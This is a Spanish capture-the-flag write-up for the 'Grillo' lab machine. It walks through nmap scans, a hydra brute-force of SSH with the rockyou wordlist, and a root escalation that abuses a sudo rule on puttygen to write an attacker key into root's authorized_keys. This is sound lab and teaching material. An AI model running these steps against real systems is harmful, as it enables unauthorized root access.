Grillo - TheHackerLabs

Esta fue una máquina muy sencilla. Después de aplicar los escaneos, descubrimos únicamente 2 puertos abiertos, siendo el puerto 80 y puerto 22. Revisando la página web, encontramos un mensaje al final de la página, dándonos una pista de que debemos aplicar fuerza bruta al servicio SSH. Encontramos la contraseña y nos logueamos. Dentro, vemos que podemos usar el binario puttygen como Root. Investigando este binario, vemos que podemos crear nuevas llaves e inyectarlas dentro del directorio authorized_keys del usuario Root, con lo que podremos escalar privilegios.

Herramientas utilizadas:

  • ping
  • nmap
  • hydra
  • ssh
  • sudo
  • puttygen
  • chmod
  • scp
  • ssh-keygen






Recopilación de Información


Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 192.168.1.100
PING 192.168.1.100 (192.168.1.100) 56(84) bytes of data.
64 bytes from 192.168.1.100: icmp_seq=1 ttl=64 time=2.07 ms
64 bytes from 192.168.1.100: icmp_seq=2 ttl=64 time=1.04 ms
64 bytes from 192.168.1.100: icmp_seq=3 ttl=64 time=2.21 ms
64 bytes from 192.168.1.100: icmp_seq=4 ttl=64 time=1.02 ms

--- 192.168.1.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3222ms
rtt min/avg/max/mdev = 1.017/1.584/2.210/0.559 ms

Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.

Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.100 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-11 13:34 CST
Initiating ARP Ping Scan at 13:34
Scanning 192.168.1.100 [1 port]
Completed ARP Ping Scan at 13:34, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:34
Scanning 192.168.1.100 [65535 ports]
Discovered open port 22/tcp on 192.168.1.100
Discovered open port 80/tcp on 192.168.1.100
Completed SYN Stealth Scan at 13:34, 8.16s elapsed (65535 total ports)
Nmap scan report for 192.168.1.100
Host is up, received arp-response (0.00064s latency).
Scanned at 2025-02-11 13:34:10 CST for 8s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 8.37 seconds
           Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Parece que solo hay 2 puertos abiertos.


Escaneo de Servicios

nmap -sCV -p 22,80 192.168.1.100 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-11 13:34 CST
Nmap scan report for 192.168.1.100
Host is up (0.00070s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
|_  256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.02 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.

Pienso que la intrusión será por la página web activa y me da curiosidad que únicamente es la página por defecto de Apache2, así que vamos a verla.




Análisis de Vulnerabilidades


Analizando Servicio HTTP

Entremos:

Como vimos en el escaneo, es solamente la página por defecto de Apache2.

Pero, si bajamos para ver lo demás, nos topamos con un mensaje:

Revisando el código fuente, también lo podremos ver:

Esto ya es una pista clara de lo que tenemos que hacer, pues si decides hacer Fuzzing no encontrarás nada.

Así que, vamos a aplicar fuerza bruta al servicio SSH.




Explotación de Vulnerabilidades


Aplicando Fuerza Bruta al Servicio SSH

Usaremos la herramienta hydra y utilizaremos el usuario que fue mencionado en la página web llamado melanie:

hydra -l melanie -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-11 13:43:27
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.1.100:22/
[STATUS] 270.00 tries/min, 270 tries in 00:01h, 14344132 to do in 885:27h, 13 active
[STATUS] 219.00 tries/min, 657 tries in 00:03h, 14343746 to do in 1091:37h, 12 active
[22][ssh] host: 192.168.1.100   login: melanie   password: *****
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 4 final worker threads did not complete until end.
[ERROR] 4 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-11 13:48:27

Excelente, encontramos la contraseña.

Comprobemos sí funciona:

ssh melanie@192.168.1.100
melanie@192.168.1.100's password: 
Linux grillo 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Apr 12 20:38:54 2024
melanie@grillo:~$ whoami
melanie

Bien, ya estamos dentro.

Ahora, busquemos la flag del usuario:

melanie@grillo:~$ ls
user.txt
melanie@grillo:~$ cat user.txt
...




Post Explotación


Generando Nuevas Llaves para Servicio SSH con puttygen para Escalar Privilegios

Revisando los privilegios que tiene nuestro usuario, descubrimos que podemos usar un binario como Root:

melanie@grillo:~$ sudo -l
Matching Defaults entries for melanie on grillo:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User melanie may run the following commands on grillo:
    (root) NOPASSWD: /usr/bin/puttygen

Desconozco este binario, así que vamos a investigarlo:

Binario puttygen
puttygen es una herramienta incluida en PuTTY que se usa para generar y gestionar claves SSH. Su función principal es crear claves en varios formatos compatibles con PuTTY, OpenSSH y otras aplicaciones de autenticación segura.


No sabía que existía esta herramienta que al parecer es similar a ssh-keygen.

Durante la investigación, se encontró el siguiente blog:

Aquí, más que nada, nos explican los parámetros que podemos usar de la herramienta.

El siguiente blog, nos explica un poco más su uso:

Por lo que entiendo y con un poco de ayuda de ChatGPT, podemos generar una llave privada primero y después convertirla en una llave pública.

Vamos a hacerlo de 2 formas, primero solamente con el binario puttygen y luego usando ssh-keygen.


Utilizando puttygen para Escalar Privilegios

Vamos a generar la llave privada primero, esta debe ser en formato para OpenSSH:

melanie@grillo:~$ puttygen -t rsa -b 4096 -O private-openssh -o id_rsa
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++
Enter passphrase to save key: 
Re-enter passphrase to verify:

Recuerda bien la frase que usaste para crear la llave privada, porque la vamos a usar más adelante.

Revisando lo que se generó, tenemos la llave privada y se genera un directorio de PuTTY:

melanie@grillo:~$ ls -la
total 32
drwx------ 3 melanie melanie    4096 feb 11 21:26 .
drwxr-xr-x 3 root    root       4096 abr 12  2024 ..
lrwxrwxrwx 1 root    root          9 abr 12  2024 .bash_history -> /dev/null
-rw-r--r-- 1 melanie concebolla  220 abr 12  2024 .bash_logout
-rw-r--r-- 1 melanie concebolla 3526 abr 12  2024 .bashrc
-rw------- 1 melanie concebolla 3311 feb 11 21:26 id_rsa
-rw-r--r-- 1 melanie concebolla  807 abr 12  2024 .profile
drwx------ 2 melanie concebolla 4096 feb 11 21:26 .putty
-rwxrwxrwx 1 root    root         33 abr 12  2024 user.txt

Asignémosle los permisos correctos a la llave privada:

melanie@grillo:~$ chmod 600 id_rsa

Ahora, vamos a convertir esa llave privada en una llave pública, pero la guardaremos dentro del directorio .ssh/authorized_keys del usuario Root:

melanie@grillo:~$ sudo puttygen /home/melanie/id_rsa -o /root/.ssh/authorized_keys -O public-openssh
Enter passphrase to load key:

Listo, parece que sí se creó la llave pública.

Para comprobarlo, vamos a descargar la llave privada en nuestra máquina y le damos los permisos correctos:

scp melanie@192.168.1.100:/home/melanie/id_rsa .
melanie@192.168.1.100's password: 
id_rsa                                    100% 3311   400.6KB/s   00:00
chmod 600 id_rsa

Ahora, vamos a usarla para autenticarnos como Root:

ssh -i id_rsa root@192.168.1.100
Enter passphrase for key 'id_rsa': 
Linux grillo 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
.
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Apr 21 11:35:18 2024
root@grillo:~# whoami
root

Funciono correctamente.


Utilizando ssh-keygen y puttygen para Escalar Privilegios

Como mencione antes, podemos convertir la llave privada en llave pública con puttygen. Entonces, podemos crear unas nuevas llaves con ssh-keygen y después con puttygen, creamos una llave pública dentro del directorio .ssh/authorized_keys del usuario Root.

Primero, vamos a crear las nuevas llaves con ssh-keygen:

melanie@grillo:~$ ssh-keygen -t rsa -b 4096 -f ~/.ssh/id_rsa
Generating public/private rsa key pair.
Created directory '/home/melanie/.ssh'.
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/melanie/.ssh/id_rsa
Your public key has been saved in /home/melanie/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:PY1Bwe3... melanie@grillo
The key's randomart image is:
+---[RSA 4096]----+
|X*o o    .oo     |
|X= o o   .. o    |
|+E. .    ..=     |
| ..      .=+.    |
|  .   o S.+..    |
|   + o .o  o     |
|  o o =.o.+      |
|   . + =.++      |
|      . oB+.     |
+----[SHA256]-----+

Revisemos que se haya generado el directorio y las llaves:

melanie@grillo:~$ ls -la
total 36
drwx------ 4 melanie melanie    4096 feb 11 22:00 .
drwxr-xr-x 3 root    root       4096 abr 12  2024 ..
lrwxrwxrwx 1 root    root          9 abr 12  2024 .bash_history -> /dev/null
-rw-r--r-- 1 melanie concebolla  220 abr 12  2024 .bash_logout
-rw-r--r-- 1 melanie concebolla 3526 abr 12  2024 .bashrc
-rw------- 1 melanie concebolla 3311 feb 11 21:26 id_rsa
-rw-r--r-- 1 melanie concebolla  807 abr 12  2024 .profile
drwx------ 2 melanie concebolla 4096 feb 11 21:26 .putty
drwx------ 2 melanie concebolla 4096 feb 11 22:00 .ssh
-rwxrwxrwx 1 root    root         33 abr 12  2024 user.txt
melanie@grillo:~$ ls -la .ssh/
total 16
drwx------ 2 melanie concebolla 4096 feb 11 22:00 .
drwx------ 4 melanie melanie    4096 feb 11 22:00 ..
-rw------- 1 melanie concebolla 3434 feb 11 22:00 id_rsa
-rw-r--r-- 1 melanie concebolla  740 feb 11 22:00 id_rsa.pub

Ahora, utilicemos puttygen para convertir la llave privada que se generó con ssh-keygen en una llave pública dentro del directorio .ssh/authorized_keys del usuario Root:

melanie@grillo:~$ sudo puttygen /home/melanie/.ssh/id_rsa -O public-openssh -o /root/.ssh/authorized_keys
Enter passphrase to load key:

Funciono.

Copiemos la llave privada en nuestra máquina:

scp melanie@192.168.1.100:/home/melanie/.ssh/id_rsa .
melanie@192.168.1.100's password: 
id_rsa

Y usamos esa llave para autenticarnos como Root:

ssh -i id_rsa root@192.168.1.100
Enter passphrase for key 'id_rsa': 
Linux grillo 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
.
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 11 21:42:05 2025
root@grillo:~# whoami
root

Excelente, funciono correctamente.

Ya solo buscamos la flag del Root:

root@grillo:~# ls
root.txt
root@grillo:~# cat root.txt
...

Y con esto completamos la máquina.



  • https://www.ssh.com/academy/ssh/putty/linux/puttygen
  • https://askubuntu.com/questions/15378/how-do-i-install-an-ssh-private-key-generated-by-puttygen


FIN